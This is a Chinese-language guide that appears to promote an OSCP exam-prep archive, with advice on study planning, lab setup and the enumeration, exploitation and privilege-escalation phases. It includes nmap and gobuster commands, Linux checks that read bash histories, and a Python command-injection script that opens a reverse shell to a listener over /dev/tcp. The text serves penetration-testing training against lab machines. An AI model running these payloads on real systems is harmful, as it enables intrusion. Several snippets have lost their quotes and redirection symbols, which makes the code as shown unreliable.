
简介这份资源面向渗透测试初学者与 OSCP 备考人员系统整理了从信息收集到提权利用的通用测试方法与技巧覆盖渗透测试全生命周期可用于日常知识查询、靶机练习与考前查漏补缺。压缩包共 119 个文件约 5.87MB以 81 个 md 笔记文档为主体辅以 png、jpg 图片、php、aspx、asp 等 Web 脚本、sh 与 py 脚本、c 与 pl 源码及 docx 考试报告模板兼顾理论梳理与工具实操。内容涵盖 OSCP 考试要求、常见问题中文翻译、监考工具与学生手册、官方靶场攻略、Vulnhub 靶机 Writeup、Linux 与 Windows 提权思路以及 Web 服务、系统服务等模块化笔记并附有可直接参考的考试报告模板。目前已有 113 人学习下载适合希望建立完整知识框架、对照靶机复盘操作步骤并积累工具脚本的读者按目录检索使用。1. 备考 OSCP 的干货资料到底该怎么用从一堆压缩包到能打靶的实战路线很多人拿到「备考 OSCP 的各种干货资料,渗透测试干货资料.zip」这类压缩包第一反应是解压、翻目录、收藏然后就没有然后了。我见过太多人硬盘里躺着几十个 G 的渗透测试学习资料笔记软件里存了几百篇 OSCP 备考文章但真正坐到 Kali 前面打开终端面对一台只给了 IP 的靶机依然不知道第一步敲什么。问题不在于资料不够而在于这些资料是碎片化的——PDF 讲义、命令速查表、靶机 walkthrough、工具配置截图混在一起没有形成一条从「信息收集」到「提权拿 flag」的完整链路。OSCP 考试不考你背了多少命令考的是在 24 小时内面对陌生环境能不能按渗透测试流程稳定推进。所以这篇不讲资料里有什么讲的是怎么把手里这些渗透测试干货资料拆成可执行的训练计划让每一份资料都对应一个能动手复现的动作。适合已经决定考 OSCP、但被资料淹没不知道从哪下手的人也适合想系统梳理渗透测试学习路线的从业者。2. 把资料拆成训练模块OSCP 考纲与渗透测试流程的对应关系2.1 先搞清楚 OSCP 到底考什么再决定资料怎么分类OSCP 的考试形式是给你一个隔离网络里的若干台靶机要求在限定时间内完成信息收集、漏洞利用、权限提升、横向移动最终拿到指定文件并提交报告。它不考选择题不考理论背诵考的是在压力下按渗透测试流程推进的肌肉记忆。所以资料分类的第一原则不是按文件格式分而是按「考试阶段」分。我一般会把所有资料先过一遍然后打上四类标签信息收集类、漏洞利用类、权限提升类、报告与复盘类。信息收集类包括 nmap 扫描策略、目录爆破字典、SMB 枚举脚本漏洞利用类包括常见 Web 漏洞的利用思路、Metasploit 模块使用、手动利用脚本权限提升类包括 Linux 和 Windows 的提权检查清单、内核漏洞对照表、配置错误排查报告与复盘类包括 walkthrough 模板、截图规范、时间分配表。这个分类动作本身就是在帮你建立渗透测试流程的框架因为当你把一份资料放进某个标签时你已经在问自己它在实战的哪个阶段用、解决什么问题。注意不要按「来源」分类比如「某公众号合集」「某论坛打包」那样你永远找不到东西。按阶段分每个阶段建一个目录资料文件名前面加序号表示推荐阅读顺序。2.2 用一张对照表把资料映射到训练动作分类完之后下一步是把每个阶段的资料映射成具体的训练动作。我习惯做一张对照表左边是考试阶段中间是资料类型右边是训练动作和验收标准。这样做的目的是避免「看了等于会了」的错觉。比如信息收集阶段资料里可能有 nmap 命令速查表但训练动作应该是对一台本地靶机跑完整的 TCP 全端口扫描加服务版本探测记录开放端口和对应服务然后针对每个服务跑至少一个枚举脚本最后输出一份信息收集清单。验收标准是清单里每个端口都有服务名称、版本号、可能的漏洞方向。漏洞利用阶段资料里可能有 Web 漏洞利用的 PDF训练动作是在 VulnHub 或 HTB 的靶机上手动复现至少三种不同的 Web 漏洞利用不依赖 Metasploit 的自动模块自己构造请求或写脚本。权限提升阶段资料里可能有提权检查清单训练动作是拿到一个低权限 shell 后按清单逐项检查记录每一项的结果最终找到至少一条提权路径并执行。这张表不用很复杂但必须写下来因为写下来的过程就是你把资料转化成计划的过程。考试阶段资料类型训练动作验收标准信息收集nmap 速查、字典全端口扫描加服务枚举输出含端口、服务、版本的清单漏洞利用Web 漏洞 PDF、脚本手动复现三种 Web 漏洞不依赖自动模块拿到 shell权限提升提权检查清单按清单逐项排查找到并执行一条提权路径报告复盘walkthrough 模板写一份完整靶机报告含截图、命令、时间线2.3 给每个模块设一个「最小可交付」目标资料太多的时候人容易陷入「先看完再练」的陷阱。我的做法是给每个模块设一个最小可交付目标意思是不管资料还剩多少没看先完成一个能拿出手的成果。信息收集模块的最小可交付是一份靶机信息收集报告漏洞利用模块的最小可交付是一个自己写的利用脚本权限提升模块的最小可交付是一份提权检查记录报告模块的最小可交付是一篇完整的靶机 walkthrough。这些成果不需要完美但必须是动手做出来的。做完之后你会发现资料里哪些内容真正有用、哪些只是重复然后你再回头补资料效率完全不一样。这个思路其实和渗透测试实战一样先拿到一个立足点再逐步扩大战果而不是一开始就追求全盘掌握。3. 用 Kali Linux 搭一个可复现的 OSCP 训练环境3.1 靶机选择与网络拓扑的最小配置OSCP 备考离不开靶机练习但很多人卡在环境搭建上。常见做法是攻击机用 Kali Linux靶机用 VulnHub 或 HTB 的虚拟机网络模式选 NAT 或 Host-Only。我一般会单独建一个虚拟网络攻击机和靶机都接在这个网络上避免和宿主机其他服务冲突。Kali 的配置不需要太复杂但有几个点必须确认网络连通性、DNS 解析、工具更新。先跑通 ping 和 nmap 扫描确保攻击机能发现靶机。如果靶机是 VulnHub 的 OVA 文件导入后检查网卡是否获取到 IP没有的话手动配置静态 IP 或者检查 DHCP 服务。这个环境搭一次可以反复用后面每台靶机只需要替换靶机虚拟机攻击机配置不变。# 查看 Kali 网络接口和 IP ip addr show # 确认路由表 ip route show # 测试与靶机连通性假设靶机 IP 为 192.168.56.101 ping -c 3 192.168.56.101 # 快速扫描靶机开放端口 nmap -sS -p- --min-rate 1000 192.168.56.101 -oN quick_scan.txt这几条命令的逻辑是先确认攻击机自己的网络状态再确认能到达靶机最后做一次快速全端口扫描。参数说明-sS是 SYN 半开扫描速度快且不易被日志记录-p-表示扫描全部 65535 个端口--min-rate 1000表示每秒至少发 1000 个包加快扫描速度-oN把结果保存到文件方便后续对照。如果 ping 不通先检查虚拟机网络模式是否一致再看靶机防火墙是否拦截了 ICMP。这一步跑通之后后面的训练才有基础。3.2 用快照和脚本管理训练环境训练环境最大的痛点是「练到一半环境坏了重装要半天」。我的血泪经验是每台靶机在干净状态时打一个快照每次练习前恢复快照练完如果环境乱了也恢复快照。Kali 这边也一样装好基础工具后打快照后面装了什么实验性工具导致环境异常直接回滚。另外我会写几个小脚本放在/opt/oscp/目录下比如reset_target.sh用来恢复靶机快照start_scan.sh用来对指定 IP 跑标准扫描流程。这些脚本不需要多高级就是把你重复敲的命令固化下来。比如下面这个扫描脚本把信息收集阶段最常用的几步串起来每次针对新靶机只需要改一个 IP 变量。#!/bin/bash # start_scan.sh - 对指定靶机执行标准信息收集流程 TARGET$1 if [ -z $TARGET ]; then echo 用法: ./start_scan.sh 靶机IP exit 1 fi echo [*] 快速全端口扫描 $TARGET nmap -sS -p- --min-rate 1000 -oN /opt/oscp/scans/${TARGET}_quick.txt $TARGET echo [*] 对开放端口做服务版本探测 nmap -sV -sC -p $(grep -oP \d/tcp /opt/oscp/scans/${TARGET}_quick.txt | cut -d/ -f1 | tr \n , | sed s/,$//) -oN /opt/oscp/scans/${TARGET}_detail.txt $TARGET echo [*] 扫描完成结果保存在 /opt/oscp/scans/脚本的逻辑是先做快速全端口扫描把结果存文件然后从结果里提取开放端口号拼成逗号分隔的列表传给第二次扫描做服务版本和默认脚本探测。参数说明-sV探测服务版本-sC运行默认的 NSE 脚本这两个一起用能快速拿到服务指纹。注意脚本里用了grep和cut从 nmap 输出里提取端口如果你的 nmap 输出格式不同可能需要调整正则。这个脚本不是万能的但能省掉每次手动敲命令的时间让你把精力放在分析结果上。3.3 工具集的选择够用就好别陷入工具收集癖Kali 自带了很多工具但 OSCP 考试环境里不一定有 Metasploit 的全部功能而且考试对 Metasploit 的使用有限制。所以训练时要有意识地练手动利用。我一般会把工具分成三类必会工具、选会工具、备用工具。必会工具包括 nmap、gobuster/dirb、netcat、curl、wget、searchsploit、python3、gcc、john/hashcat。选会工具包括 Burp Suite、sqlmap、hydra、enum4linux。备用工具包括 Metasploit、impacket 套件、mimikatz。训练时优先用必会工具完成任务选会工具用来提高效率备用工具只在特定场景用。这样做的原因是考试环境可能没有你习惯的某个工具但如果你掌握了底层原理和手动方法换个工具甚至不用工具也能完成任务。资料里如果有工具配置教程先判断它属于哪一类必会工具认真配选会工具了解基本用法备用工具知道存在即可。4. 从信息收集到提权把资料里的命令变成肌肉记忆4.1 信息收集阶段别急着扫先想清楚扫什么信息收集是渗透测试流程里最容易被低估的阶段。很多人拿到 IP 就一顿 nmap 猛扫扫完看着一堆端口不知道下一步干什么。我的习惯是分三步第一步快速全端口扫描确定哪些端口开放第二步对开放端口做服务版本和默认脚本探测确定服务类型和版本第三步针对具体服务做深度枚举比如 HTTP 服务跑目录爆破和页面分析SMB 服务跑共享枚举和用户枚举FTP 服务尝试匿名登录。每一步的输出都是下一步的输入这样就不会迷失。资料里如果有信息收集清单把它打印出来贴在显示器旁边每台靶机都按清单过一遍形成固定动作。下面是一个针对 HTTP 服务的枚举示例假设扫描发现 80 端口开放。# 对 HTTP 服务做基础探测 curl -I http://192.168.56.101 # 查看页面源码和注释 curl -s http://192.168.56.101 | head -100 # 目录爆破使用常见字典 gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster_80.txt # 如果发现 CMS用对应工具枚举比如 WordPress wpscan --url http://192.168.56.101 --enumerate u,p,t这几条命令的逻辑是先用 curl 看 HTTP 响应头了解服务器类型和重定向情况再看页面源码找注释、隐藏链接、框架特征然后用 gobuster 爆破目录找隐藏路径如果识别出 CMS用专用工具枚举用户、插件、主题。参数说明-t 50表示 50 个线程加快爆破速度但别太高以免打崩服务-o保存结果。注意目录爆破字典的选择很关键common.txt适合快速过一遍如果没结果可以换更大的字典但考试时时间有限要权衡。这一步的验收标准是你能说清楚这个 HTTP 服务用了什么技术栈、有哪些可见路径、哪些路径需要认证、有没有已知漏洞。4.2 漏洞利用阶段手动利用和自动利用的取舍漏洞利用阶段最容易翻车的地方是找到一个漏洞直接上 Metasploit 模块结果考试环境里模块不能用或者模块执行失败不知道怎么排查。我的建议是训练时先手动利用理解漏洞原理和利用过程再用 Metasploit 对比。比如发现一个 Web 应用的命令注入漏洞先手动构造请求用 curl 或者 Burp 重放确认命令能执行然后写一个简单的 Python 脚本自动化利用最后再用 Metasploit 模块跑一遍对比两者的差异。这样做的原因是手动利用能让你理解漏洞的触发条件和限制当自动工具失败时你知道从哪里排查。资料里如果有漏洞利用的 walkthrough不要只看要跟着敲一遍然后关掉 walkthrough 自己再复现一遍。下面是一个命令注入的手动利用示例。# 手动利用命令注入漏洞的 Python 脚本 import requests target http://192.168.56.101/ping.php # 先测试基本连通性 payload 127.0.0.1; id data {ip: payload} resp requests.post(target, datadata) print(resp.text) # 如果 id 命令执行成功尝试反弹 shell # 注意实际利用时需要替换为你自己的监听地址和端口 payload 127.0.0.1; bash -c bash -i /dev/tcp/192.168.56.100/4444 01 data {ip: payload} requests.post(target, datadata)脚本的逻辑是先发送一个简单的命令注入 payload确认命令执行是否成功如果成功再发送反弹 shell 的 payload。参数说明payload里的;是命令分隔符具体分隔符取决于目标系统Windows 用或|Linux 用;或。反弹 shell 的地址和端口要换成你攻击机的 IP 和监听端口。注意这个脚本只是示例实际利用时要根据目标环境调整。训练时重点不是脚本本身而是理解「为什么这个 payload 能执行」「如果不行怎么换分隔符」「怎么确认命令执行结果」。4.3 权限提升阶段提权检查清单比漏洞库更重要拿到低权限 shell 之后很多人开始翻内核漏洞库找到一个看起来能用的就试结果编译失败或者执行后系统崩溃。我的经验是先做基础检查再做漏洞匹配。基础检查包括当前用户和权限、系统版本和内核版本、可写目录、SUID 文件、计划任务、环境变量、已安装软件、网络连接、敏感文件。这些检查不需要任何工具几条命令就能完成。做完基础检查后你通常能找到一两条明显的提权路径比如某个 SUID 文件可以执行、某个计划任务以 root 运行且脚本可写、某个配置文件包含密码。只有在基础检查没结果时才去匹配内核漏洞。资料里如果有提权检查清单把它变成脚本每次拿到 shell 先跑一遍。下面是一个 Linux 提权基础检查的命令集合。# 当前用户和权限 id; whoami; sudo -l # 系统版本和内核 uname -a; cat /etc/os-release # 可写目录 find / -writable -type d 2/dev/null # SUID 文件 find / -perm -4000 -type f 2/dev/null # 计划任务 cat /etc/crontab; ls -la /etc/cron.* # 环境变量 env # 网络连接 netstat -antup # 敏感文件 ls -la /home/*; cat /home/*/.bash_history 2/dev/null这些命令的逻辑是先确认自己是谁、能做什么再看系统版本判断是否有已知内核漏洞然后找可写目录和 SUID 文件寻找配置错误检查计划任务和环境变量寻找可利用的路径最后看敏感文件和历史命令找密码或线索。参数说明2/dev/null是把错误输出丢弃避免权限不足的报错刷屏。这些命令跑完你手里应该有一份清单然后逐项分析哪些可以利用。注意不要一上来就跑内核漏洞利用脚本那样容易把靶机打崩而且考试时靶机崩溃可能无法恢复。5. 避坑与排查OSCP 备考资料使用中的五个常见翻车点5.1 资料收集了一大堆但从来没有完整打通过一台靶机现象硬盘里存了几十 G 的渗透测试资料笔记软件里收藏了上百篇文章但从来没有从头到尾独立完成一台靶机的渗透测试。原因陷入了「收集即学习」的错觉把下载和收藏当成了掌握。解决强制自己选一台难度适中的靶机比如 VulnHub 上的 Kioptrix 系列或者 HTB 上的 Easy 靶机不看任何 walkthrough从信息收集开始每一步自己记录卡住了先查自己的笔记和资料实在不行再看提示。完整打通一台靶机的收获比看十篇 walkthrough 都大。5.2 过度依赖 Metasploit考试时发现模块不能用现象平时练习时习惯用 Metasploit 的exploit模块一条命令拿到 shell但考试环境对 Metasploit 的使用有限制或者目标环境不兼容模块导致无法利用。原因跳过了漏洞原理和手动利用的学习直接用了自动化工具。解决训练时强制自己先手动利用再用 Metasploit 对比。具体做法是找到一个漏洞后先查漏洞原理手动构造请求或写脚本确认能利用成功然后再用 Metasploit 跑一遍观察模块的输出和手动利用的差异。这样即使考试时不能用 Metasploit你也能手动完成。5.3 信息收集不完整漏掉关键端口或服务现象扫描时只扫了常见端口或者只用了默认的 nmap 扫描参数结果漏掉了高位端口上的关键服务导致后面找不到入口。原因扫描策略太粗糙没有做全端口扫描和服务版本探测。解决每台靶机先做一次全端口快速扫描确认所有开放端口然后对每个开放端口做服务版本和默认脚本探测最后针对具体服务做深度枚举。不要跳过任何一步。如果时间允许换不同的扫描参数再扫一遍比如 UDP 扫描、特定脚本扫描。5.4 提权时盲目尝试内核漏洞导致靶机崩溃现象拿到低权限 shell 后直接搜索内核版本对应的漏洞利用脚本编译执行后靶机崩溃或重启丢失 shell。原因跳过了基础提权检查直接上内核漏洞而内核漏洞利用本身风险很高。解决先做基础检查包括 SUID、计划任务、可写文件、环境变量、敏感文件等这些检查通常能找到更安全的提权路径。只有在基础检查无结果时才考虑内核漏洞而且要先在本地环境测试确认稳定后再在靶机上执行。考试时靶机崩溃可能无法恢复所以能不用内核漏洞就不用。5.5 报告写得太简略丢了本该拿到的分现象靶机打穿了flag 也拿到了但报告写得太简单截图不全、命令没记录、时间线混乱导致分数不理想。原因平时练习时没有养成写报告的习惯觉得拿到 flag 就结束了。解决每台靶机练习结束后花 30 分钟写一份完整的 walkthrough包括信息收集、漏洞发现、利用过程、提权过程、flag 获取每一步都附上命令和截图。报告模板可以从资料里找但内容必须自己写。写报告的过程也是复盘的过程能帮你发现哪些步骤当时没想清楚。6. 用「盲打复盘法」把资料里的知识变成考试时的条件反射最后一章讲一个我备考时反复用的技巧盲打复盘法。具体做法是选一台已经打通过的靶机重置到干净状态然后不看任何笔记和 walkthrough从零开始重新打一遍全程录屏或者记录命令。打完之后对比第一次的记录看哪些步骤变快了、哪些步骤还是卡、哪些步骤用了不同的方法。卡住的步骤就是你的薄弱环节回到资料里针对性补强。这个方法的本质是把「看过」变成「做过」再把「做过」变成「不假思索就能做」。OSCP 考试时间紧张没有时间让你慢慢回忆某个命令的参数你需要的是看到端口就知道下一步扫什么、看到服务就知道枚举什么、拿到 shell 就知道检查什么。这种条件反射只能通过反复盲打来建立。我一般会准备一个「盲打清单」列出所有打过的靶机每台标记盲打次数和卡住的步骤。盲打三次以上且没有卡住的靶机可以暂时放一放盲打时反复卡住的步骤回到资料里找对应的章节重新学。这个清单不需要很复杂一个表格就够。另外盲打时尽量模拟考试环境限定时间、不用 Metasploit 的自动模块、只允许查自己的笔记。这样练出来的能力才是考试时能用的。靶机名称难度盲打次数卡住步骤补强资料Kioptrix Level 1Easy3SMB 枚举资料第 2 章Kioptrix Level 2Easy2提权检查资料第 4 章HTB LegacyEasy3无无HTB BlueEasy2手动利用资料第 3 章最后说一个我自己的习惯每次盲打结束后不管成功还是失败都写三句话——哪里变快了、哪里卡住了、下次怎么改。这三句话比任何长篇总结都有用。备考 OSCP 的过程就是不断发现自己的盲区然后补上的过程资料只是工具真正让你通过考试的是那些你反复练过、已经变成条件反射的动作。希望帮到你。本文还有配套的精品资源点击获取